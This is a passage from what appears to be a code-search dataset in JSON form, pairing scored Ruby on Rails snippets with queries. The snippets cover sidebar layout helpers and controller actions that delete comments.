'page-sidebar col-sm-12 col-md-4'\n end", "title": "" }, { "docid": "e47703a72cd05df965b72078e14aba8f", "score": "0.50907665", "text": "def sidebar(options={}, &block)\n raise ArgumentError, \"Missing block\" unless block_given?\n\n options[:class] = \"hideable-sidebar #{options[:class]}\"\n\n content_tag(:div, options) do\n [\n options[:include_close_button] != false ? button(\"Close\") : \"\",\n capture(&block)\n ].join.html_safe\n end\n end", "title": "" }, { "docid": "ce1218cf8946e368a1fc414d22648813", "score": "0.5080894", "text": "def choose_layout\n if cursor_fits_in_first_layout?\n first_layout\n else\n last_layout\n end\n end", "title": "" }, { "docid": "30e1dcc481f2326699088e95826f4fc6", "score": "0.5074214", "text": "def get_widget\n @event_box\n end", "title": "" }, { "docid": "30e1dcc481f2326699088e95826f4fc6", "score": "0.5074214", "text": "def get_widget\n @event_box\n end", "title": "" }, { "docid": "a1470a3d60af5464136aaacbc6b48617", "score": "0.5032585", "text": "def get_box(name, data = nil)\n Box.new(self, name, data, nil, nil, @client.access_token, @client.url_base)\n end", "title": "" }, { "docid": "6712a379f4d935445f4ce33a98234a6e", "score": "0.50262994", "text": "def box(current_user=nil)\n if current_user.nil?\n eval \"box#{race.id_lys}\"\n else\n eval \"box#{current_user.player.race.id_lys}\"\n end\n end", "title": "" }, { "docid": "f31feadc7500d7d4174aceb50e3785c0", "score": "0.5025126", "text": "def sidebar_classes\n 'page-sidebar col-lg-3'\n end", "title": "" }, { "docid": "2683a0f3b7dfa871de2c237b70d6e1c2", "score": "0.50181526", "text": "def reveal_sidebar\n if session[:admin_id] &&\n params[:controller] != 'stores' &&\n params[:controller] != 'pages' &&\n params[:action] != 'account_setup' &&\n params[:controller] != 'sessions' &&\n params[:action] != 'account_create'\n @sidebar_reveal = 'sidebar'\n else\n @sidebar_reveal = false\n end\n end", "title": "" }, { "docid": "10ed25c3da38817c5aac1f87afe4c6b2", "score": "0.50135386", "text": "def show_sidebar_classes\n sidebar_classes\n end", "title": "" }, { "docid": "10ed25c3da38817c5aac1f87afe4c6b2", "score": "0.50135386", "text": "def show_sidebar_classes\n sidebar_classes\n end", "title": "" }, { "docid": "961949ee91997605f7c02f994849d875", "score": "0.5001405", "text": "def cambiar_sidebar\n sidebar = params[:sidebar] || 'true'\n session[:sidebar] = (sidebar == 'true')\n render :layout => false\n end", "title": "" }, { "docid": "3c0170a9afb6382ebed20590f4b08951", "score": "0.49858028", "text": "def index\n @sidebars = Sidebar.all\n end", "title": "" }, { "docid": "3c0170a9afb6382ebed20590f4b08951", "score": "0.49858028", "text": "def index\n @sidebars = Sidebar.all\n end", "title": "" }, { "docid": "b8da5a658294359c3346904daac20591", "score": "0.49681762", "text": "def sidebar\n @sidebar = Product.all(:order => 'RANDOM()', :limit => 4)\n end", "title": "" }, { "docid": "c464c17e738c22265432e8301285b428", "score": "0.49585122", "text": "def show_sidebar\n wait_for_ajax\n return if has_sidebar_link?(wait: TimeOut::WAIT_CONTROL_CONST * 2) == false\n sidebar_link.click\n wait_for_ajax\n end", "title": "" }, { "docid": "08704f17ab4e93321a62af936b5b6d4c", "score": "0.49557376", "text": "def sidebar_delete(id)\n if sb_index = find_sidebar_index(id)\n sidebars.delete_at(find_sidebar_index(id))\n sidebars.compact!\n end\n end", "title": "" }, { "docid": "dcde7fc1960cf7d099eafc29e7d125f1", "score": "0.49516007", "text": "def sidebar_css_class\n\t\tsidebar_enabled? ? \"grid_4\" : \"dont-show\"\n\tend", "title": "" }, { "docid": "7ed5eb37d7b5ac05780d383263ce66a9", "score": "0.49493742", "text": "def widget_sidebar(&block)\n @widget_options[:sidebar_html] = capture(&block)\n end", "title": "" }, { "docid": "562350a92bfe07168591150dc6981cd1", "score": "0.49388814", "text": "def index\n @left_sidebars = LeftSidebar.all\n end", "title": "" }, { "docid": "c7267ec58c8155bdb96eb7fabf9aaa79", "score": "0.49142796", "text": "def sidebar_css_class\n\t\tsidebar_enabled? ? \"span3\" : \"dont-show\"\n\tend", "title": "" }, { "docid": "39818b1cbd7822fee97bd51a7d55dca1", "score": "0.49128628", "text": "def sidebars_after_conditions\n sidebars.select { |sb| !sidebar_exempted?(sb) }\n end", "title": "" }, { "docid": "43668c1c70c882985ba14deaa960f367", "score": "0.49114692", "text": "def createSideBarLayout()\n\t\t@timer = createTimer()\n\t\t@reset = createResetButton()\n\t\t@pause = createPauseButton()\n\t\t@hypotheses = createHypothesesButton()\n\t\t@help = createHelpButton()\n\n\t\t@sideBar = Gtk::Box.new(:vertical)\n\t\t@sideBar.pack_start(@timer, :expand => true, :fill => true)\n\t\t@sideBar.pack_start(@reset, :expand => true, :fill => true)\n\t\t@sideBar.pack_start(@pause, :expand => true, :fill => true)\n\t\t@sideBar.pack_start(@hypotheses, :expand => true, :fill => true)\n\t\t@sideBar.pack_start(@help, :expand => true, :fill => true)\n\n\t\treturn @sideBar\n\tend", "title": "" }, { "docid": "d8d4c76cc810c5afd4fd99d71556ed02", "score": "0.4906235", "text": "def default_dashboard\n dashboards.first\n end", "title": "" }, { "docid": "d8d4c76cc810c5afd4fd99d71556ed02", "score": "0.4906235", "text": "def default_dashboard\n dashboards.first\n end", "title": "" }, { "docid": "6e6631a852fbe0dcbaad6db82404b945", "score": "0.4905058", "text": "def sidebar_section(where, title, &block)\n content_for(:\"#{where}_sidebar\") do\n content_tag(:div,\n content_tag(:h2, title) + capture(&block),\n :class => 'section'\n )\n end\n end", "title": "" }, { "docid": "ba42de0f643fc0fc296c45485f1f2f8c", "score": "0.48948073", "text": "def sidebar(user = nil)\n content_tag(:div, :id => 'sidebar') {\n if user\n concat(content_tag(:p, username(user)))\n concat(profile_picture(user))\n end\n concat(render(:partial => 'shared/user_nav')) if viewing_current_user?\n }.html_safe\n end", "title": "" }, { "docid": "164045cd9c0651bd02951b7a150467db", "score": "0.48931566", "text": "def main_content\n div class: 'box box-primary' do\n div class: 'box-header' do\n div class: 'box-header-inner' do\n build_batch_actions_selector if active_admin_config.batch_actions.any?\n build_scopes if active_admin_config.scopes.any?\n end\n filter_form_toggle if active_admin_config.filters.any?\n end\n div class: 'box-body table-responsive no-padding' do\n build_collection\n end\n div class: 'box-footer' do\n render_index_footer\n end\n end\n end", "title": "" }, { "docid": "f5f1895b08ebf4c4827b4d015b71d84d", "score": "0.48842758", "text": "def new\n @sidebar = Sidebar.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sidebar }\n end\n end", "title": "" }, { "docid": "f5f1895b08ebf4c4827b4d015b71d84d", "score": "0.48842758", "text": "def new\n @sidebar = Sidebar.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sidebar }\n end\n end", "title": "" }, { "docid": "a6aeaa450d5e0c1367839b549f7dd805", "score": "0.48840207", "text": "def show\n @page_sidebar = PageSidebar.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @page_sidebar }\n end\n end", "title": "" }, { "docid": "08b54273718054b03ec3a3d666b52e31", "score": "0.4881637", "text": "def content_class(sidebar_absent)\n if sidebar_absent\n \"span16 columns\"\n else\n \"span12 columns\"\n end\n end", "title": "" }, { "docid": "d99b62b3c73cb9744d53679ed6cdef14", "score": "0.48791343", "text": "def show\n @landing_sidebar = LandingSidebar.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @landing_sidebar }\n end\n end", "title": "" }, { "docid": "5abda2dfa24eb5e58e3fa8b02e1b3956", "score": "0.48734796", "text": "def sidebar_classes\n 'col-md-3 col-sm-4 col-xs-12'\n end", "title": "" }, { "docid": "1f0f0916f4ae2bd448d1b9543273ec54", "score": "0.48698568", "text": "def edit\n @page_sidebar = Page.find(params[:id])\n end", "title": "" } ]
6ac81a4e096f09181dfe010e2e28696b
DELETE /comments/1 DELETE /comments/1.json
[ { "docid": "ac421aadb8a36d8d2a79830e1416dcf7", "score": "0.0", "text": "def destroy\n @comment.destroy\n respond_to do |format|\n format.html { redirect_to @commentable, notice: 'Comment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "3e527a9d859cb967c5442cb3625a69d8", "score": "0.75341123", "text": "def destroy\n render json: comment.destroy!, status: :ok\n end", "title": "" }, { "docid": "021c3490c1e2fb25c05ca0b44b7d297d", "score": "0.7521334", "text": "def destroy\n Comment.find(params[:id]).destroy\n render :json => {:ok => true}, :head => :no_content\n end", "title": "" }, { "docid": "17715adbf4dc86a1cc3462bb4a8bdae8", "score": "0.7438453", "text": "def destroy\n if !@comment.destroy\n head 400\n end\n head 200\n end", "title": "" }, { "docid": "e915eef470c9379726a820d639179c0d", "score": "0.7419803", "text": "def destroy\n @comment.destroy\n render json: {}, status: :no_content\n end", "title": "" }, { "docid": "f7eb5c54625710191d299d7dee8c593e", "score": "0.7379676", "text": "def destroy\n comment = Comment.find(params[:comment_id])\n comment.destroy\n render json: {success: true}\n end", "title": "" }, { "docid": "61a0870fb0a7f07c622e2dfe48004f41", "score": "0.73347324", "text": "def destroy\n comment = Comment.find(params[:id])\n comment.destroy \n render json: comment \n end", "title": "" }, { "docid": "e53e4b50f27335d32a55ba0065a3ab1b", "score": "0.7333125", "text": "def destroy\n @comment.destroy\n respond_to do |format|\n format.html { redirect_to comments }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "348723e387475124373291b142f97990", "score": "0.7332027", "text": "def comment_destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n render json: { head: :no_content }\n end", "title": "" }, { "docid": "a077c6c3a081ec60f21380420ea70681", "score": "0.7295853", "text": "def destroy\n @comment.destroy\n head :no_content\n end", "title": "" }, { "docid": "4f4453d11971458c92e10d3c6c51240e", "score": "0.72935563", "text": "def destroy\n @comment.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "61f644fb4cda6fd9160bf7bbef3e74e3", "score": "0.7283963", "text": "def destroy\n\n @comment.destroy\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f1b603295c9bc1bf1fc133102d96a63d", "score": "0.72800404", "text": "def destroy\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f8668bbd8aef4997db06f353e708d8b8", "score": "0.72686857", "text": "def destroy\n @comment.destroy\n render json: {}, status: :ok\n end", "title": "" }, { "docid": "c8da69bb030d4834d42e4e30158efca9", "score": "0.72620535", "text": "def destroy\n @comment.destroy\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c8da69bb030d4834d42e4e30158efca9", "score": "0.72620535", "text": "def destroy\n @comment.destroy\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c8da69bb030d4834d42e4e30158efca9", "score": "0.72620535", "text": "def destroy\n @comment.destroy\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c8da69bb030d4834d42e4e30158efca9", "score": "0.72620535", "text": "def destroy\n @comment.destroy\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c8da69bb030d4834d42e4e30158efca9", "score": "0.72620535", "text": "def destroy\n @comment.destroy\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c8da69bb030d4834d42e4e30158efca9", "score": "0.72620535", "text": "def destroy\n @comment.destroy\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "abe7712e07d2ab4a42d6ff1d66bf5880", "score": "0.72572464", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "abe7712e07d2ab4a42d6ff1d66bf5880", "score": "0.7257083", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "abe7712e07d2ab4a42d6ff1d66bf5880", "score": "0.7257083", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "abe7712e07d2ab4a42d6ff1d66bf5880", "score": "0.7257083", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "abe7712e07d2ab4a42d6ff1d66bf5880", "score": "0.7257083", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "abe7712e07d2ab4a42d6ff1d66bf5880", "score": "0.7257083", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "abe7712e07d2ab4a42d6ff1d66bf5880", "score": "0.7257083", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "a8612bc283fd7abc97ef82b622758ae6", "score": "0.7241516", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a8612bc283fd7abc97ef82b622758ae6", "score": "0.7241516", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a8612bc283fd7abc97ef82b622758ae6", "score": "0.7241516", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a8612bc283fd7abc97ef82b622758ae6", "score": "0.7241516", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a8612bc283fd7abc97ef82b622758ae6", "score": "0.7241516", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a8612bc283fd7abc97ef82b622758ae6", "score": "0.7241516", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a8612bc283fd7abc97ef82b622758ae6", "score": "0.7241516", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a8612bc283fd7abc97ef82b622758ae6", "score": "0.7241516", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a8612bc283fd7abc97ef82b622758ae6", "score": "0.7241516", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a8612bc283fd7abc97ef82b622758ae6", "score": "0.7241516", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d72f1c3c59a3b3547a4342b34db66f03", "score": "0.72324127", "text": "def destroy\n @rb_comment.destroy\n respond_to do |format|\n format.html { redirect_to rb_comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a911c234a988de454070c76ef544190c", "score": "0.7226241", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "84297e05ec8c8b1f95dba40c839e5afd", "score": "0.72193825", "text": "def delete_comment\n verify_post_request\n require_parameters :key\n\n comment = Internal.issues.deleteComment(params[:key])\n render :json => jsonp({:comment => Issue.comment_to_hash(comment)})\n end", "title": "" }, { "docid": "7d0435423190e4e0bf35ae8872d8364d", "score": "0.7216597", "text": "def destroy\n @comment = @commentable.comments.find(params[:id])\n @comment.destroy\n respond_to do |format|\n format.html { redirect_to build_path_comments }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e6f4684f6579665b186a9df7fd5ae3bc", "score": "0.7210389", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6fa106972bd3a2318d14430e3118bb86", "score": "0.7209961", "text": "def destroy\r\n @comment = Comment.find(params[:id])\r\n @comment.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to comments_url }\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "e64c8550892deeda7ed2cc01f44e49cb", "score": "0.720174", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "199211bba2169d4a7f5bedd6f0797ceb", "score": "0.71975714", "text": "def destroy\r\n @comment.destroy\r\n respond_to do |format|\r\n format.html { redirect_to comments_url }\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "48a4020b813f23c8b45f69a81708e587", "score": "0.71742606", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "957416296667c3f1da2fe328b2b07b4b", "score": "0.71628857", "text": "def destroy\n @comments = Comment.where(post_id: @post.id)\n @post.destroy\n @comments.destroy\n render json: { head: :no_content }\n end", "title": "" }, { "docid": "b405162dcffbe625c4b9e7bcb49099bb", "score": "0.7161363", "text": "def destroy\n @comment = @commentable.comments.new(params[:comment])\n @comment.destroy\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d58b03867c8ce247563764f5f179f752", "score": "0.71573883", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_comments_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "7d092902db78c61d6d50615d5394ffb3", "score": "0.7127713", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to dashboard_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d192161f191302e89151a0b30a53c54d", "score": "0.7116394", "text": "def destroy\n @path_comment.destroy\n respond_to do |format|\n format.html { redirect_to path_comments_url, notice: 'Path comment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f57b99f647242cb0f35ecdce1e0ee8ff", "score": "0.711266", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to post_path(@comment.post_id) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "653e70f3da6bf9639f8c72c7b8711724", "score": "0.70949435", "text": "def destroy\n @comment.destroy\n respond_to do |format|\n format.html { redirect_to @commentable, notice: 'Comment deleted.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0a7ebab61f16b358c8bc64af00e7d598", "score": "0.70928913", "text": "def destroy\n @commentmetum.destroy\n respond_to do |format|\n format.html { redirect_to commentmeta_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c7384e3598cbfcee5407bfcde65199e9", "score": "0.7088071", "text": "def destroy\n @t_comment = TComment.find(params[:id])\n @t_comment.destroy\n\n respond_to do |format|\n format.html { redirect_to t_comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b089421365f82ae942003dc1ded556d0", "score": "0.7077714", "text": "def destroy\n authorize @comment\n @comment.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "24a18399b79768f2831d43a222b5c8d9", "score": "0.70770675", "text": "def destroy\n @api_v1_comment = @post.comments.find(params[:id])\n # if @api_v1_comment.user_id == params[:current_user_id].to_i #can only delete my comment\n @api_v1_comment.destroy\n # end\n\n#respond_to do |format|\n# format.html { redirect_to api_v1_comments_url }\n# format.json { head :no_content }\n# end\n render :json => {}\n end", "title": "" }, { "docid": "76da83e5d7088f1a65527e8978ca12ce", "score": "0.707237", "text": "def destroy\n\t\tcomment = @post.comments.find_by(id: params[:id])\n\t\tif comment\n\t\t comment.destroy\n\t\t render json: { success: true, message: \"Successfully destroyed\"}, status: 200\n\t\telse\n\t\t render json: { success: true, message: \"Not found\"}, status: 404\n\t\tend\n\tend", "title": "" }, { "docid": "dc46d51938c109c97975bfac3bc3c99c", "score": "0.70666504", "text": "def destroy\n @comment = @post.comments.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to(post_path(@post)) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "ceabd8b858b0834672cd39338d0190e8", "score": "0.7059172", "text": "def delete\n\n\t\t###########################################\n\t\t# POST BODY PARAMETERS\t\t\n\t\t# username\n\t\t# password\n\t\t# comment_id\t\t\n\t\t##########################################\n\n\t\t# Retrieve request body\n\t\tdata = JSON.parse(request.body.read)\n\t\t\n\t\t# Retrieve user and validate\n\t\tuser = User.find_by(username: data[\"username\"])\n\t\t\n\t\tif User.is_validated(data)\n\t\t\n\t\t\t# Retrieve and delete comment from Comment table\n\t\t\tComment.destroy(data[\"comment_id\"])\t\t\t\n\t\t\n\t\t\tmessage = {status: \"success\", message: \"Comment deleted successfully\"}\n\t\t\treturn render json: message\n\t\tend\n\n\t\tmessage = {status: \"error\", message: \"Incorrect Credentials\"}\n\t\treturn render json: message\n\tend", "title": "" }, { "docid": "b1dcd490d79b47ab0d4f5eddbb736c56", "score": "0.705567", "text": "def destroy\n @comment = Comment.destroy(params[:id])\n end", "title": "" }, { "docid": "c9c18b57a368ae94695c1111ce4868fe", "score": "0.7049141", "text": "def destroy\n id=@comment.post_id\n @comment.destroy\n respond_to do |format|\n format.html { redirect_to post_url(id),notice: 'Comment has been deleted successfully' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "950369de89387158b0897ef1394ed6db", "score": "0.70484793", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "950369de89387158b0897ef1394ed6db", "score": "0.70484793", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5bfa0d39beea380b1557b6d826501318", "score": "0.7047738", "text": "def destroy\n @api_v1_comment_vote = CommentVote.find(params[:id])\n @api_v1_comment_vote.destroy\n\n respond_to do |format|\n format.html { redirect_to api_v1_comment_votes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fc00ccc0df7011754bb496731ea37915", "score": "0.7045034", "text": "def destroy\n @comment = Comment.find(params[:id])\n if @comment.destroy\n logger.debug(\"destroy ok!!!\")\n respond_with(@comment)\n else\n logger.debug(\"destroy problem!\")\n end\n \n end", "title": "" }, { "docid": "b4c32496ce5f208f22fa0bb5924f997c", "score": "0.7044959", "text": "def destroy\n @comment = @discussion.comments.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to startup_discussion_path(@startup, @discussion) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0d9f9fe6da4c04d72b50e2e54cffb77a", "score": "0.7042978", "text": "def destroy\n @comment.destroy\n respond_to do |format|\n format.json { head :no_content }\n format.xml { head :no_content }\n end\n end", "title": "" }, { "docid": "b7ef91ede2ac1815cc4e35b4a0b35f04", "score": "0.70418113", "text": "def destroy\n @comment = @song.comments.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to song_path(@song) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fb64d8336d72b90f3f2224af2dad08b2", "score": "0.70415205", "text": "def destroy\n @commento = Commento.find(params[:id])\n @commento.destroy\n\n respond_to do |format|\n format.html { redirect_to commenti_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "068c59fb89d1b9f47efc32bf5e4ae5dd", "score": "0.70353794", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to(:back) }#comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f2c6b614ee9768e6d61bd1127effccf2", "score": "0.7029847", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to post_path(@comment.post), notice: 'Comment was successfully deleted.' }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "4c18e9742a21c282d1111f39a0386ed7", "score": "0.7029663", "text": "def destroy\n @post = @comment.post\n @comment.destroy\n respond_to do |format|\n format.html { redirect_to @post, notice: t('.destroy') }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b00c1b46c7db1d57fed0fb44b8815222", "score": "0.70281225", "text": "def destroy\n @request_comment = RequestComment.find(params[:id])\n @request_comment.destroy\n\n respond_to do |format|\n format.html { redirect_to request_comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5e01851c0de2958aef3486b438962374", "score": "0.70224446", "text": "def destroy\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to(comments_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "acadac3380bf68214690d12c7ba09252", "score": "0.70181245", "text": "def destroy_by_id\n @comment.destroy\n respond_to do |format|\n format.html { head :no_content, notice: 'Comment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0678185c52e83aa5cf7f76163178cd2b", "score": "0.7016395", "text": "def destroy\n @post = Post.find(params[:post_id])\n @comment = @post.comments.find(params[:id])\n @comment.destroy\n \n respond_to do |format|\n format.html { redirect_to post_path(@post), notice: \"Comment removed.\" }\n format.json { render 'destroy' }\n end\n end", "title": "" }, { "docid": "2b2c9d124f4a5c08aadb61212da7197e", "score": "0.7016121", "text": "def destroy\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to(@post) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6c652fdf1d88df9b6bdb69c220b0a2a9", "score": "0.7012958", "text": "def destroy\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to public_post_path(@comment.post, anchor: \"comments\") }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6c921d66059293b48496fbd33def7f6e", "score": "0.70101565", "text": "def destroy\n Comment.find(params[:id]).destroy\n\n respond_to do |format|\n format.html { redirect_to :controller => 'posts', :action => 'show', :id => params[:post_id] }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3f75c1200235d3410eae6e096af6f78e", "score": "0.7000952", "text": "def destroy\n @comment = @snippet.comments.find(params[:id])\n check_comment_author\n\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d548eba7d1873df78574858bc8cf36a6", "score": "0.6999595", "text": "def destroy\n # @api_v1_comment_flag = CommentFlag.find(params[:id])\n # @api_v1_comment_flag.destroy\n\n # respond_to do |format|\n # format.html { redirect_to api_v1_comment_flags_url }\n # format.json { head :no_content }\n # end\n @api_v1_comment_flag = CommentFlag.where(:comment_id => params[:id])\n @api_v1_comment_flag.destroy_all\n render :json => {}\n end", "title": "" }, { "docid": "4fab4b4ca9fd3a7e0d2b79a90461fdc0", "score": "0.69893897", "text": "def destroy\n puts \"...................... comments_controller::destroy on id \"+params[:id].to_s\n @comment = Comment.find(params[:id])\n @comment.destroy\n end", "title": "" }, { "docid": "d2df2d827479b7dfc5c44e7034c6f109", "score": "0.69877404", "text": "def destroy\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to comments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "351967afe9c5aec1c186e6a8894a9d8a", "score": "0.6987022", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to(comments_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "351967afe9c5aec1c186e6a8894a9d8a", "score": "0.6987022", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to(comments_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "351967afe9c5aec1c186e6a8894a9d8a", "score": "0.6987022", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to(comments_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "351967afe9c5aec1c186e6a8894a9d8a", "score": "0.6987022", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to(comments_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "351967afe9c5aec1c186e6a8894a9d8a", "score": "0.6987022", "text": "def destroy\n @comment = Comment.find(params[:id])\n 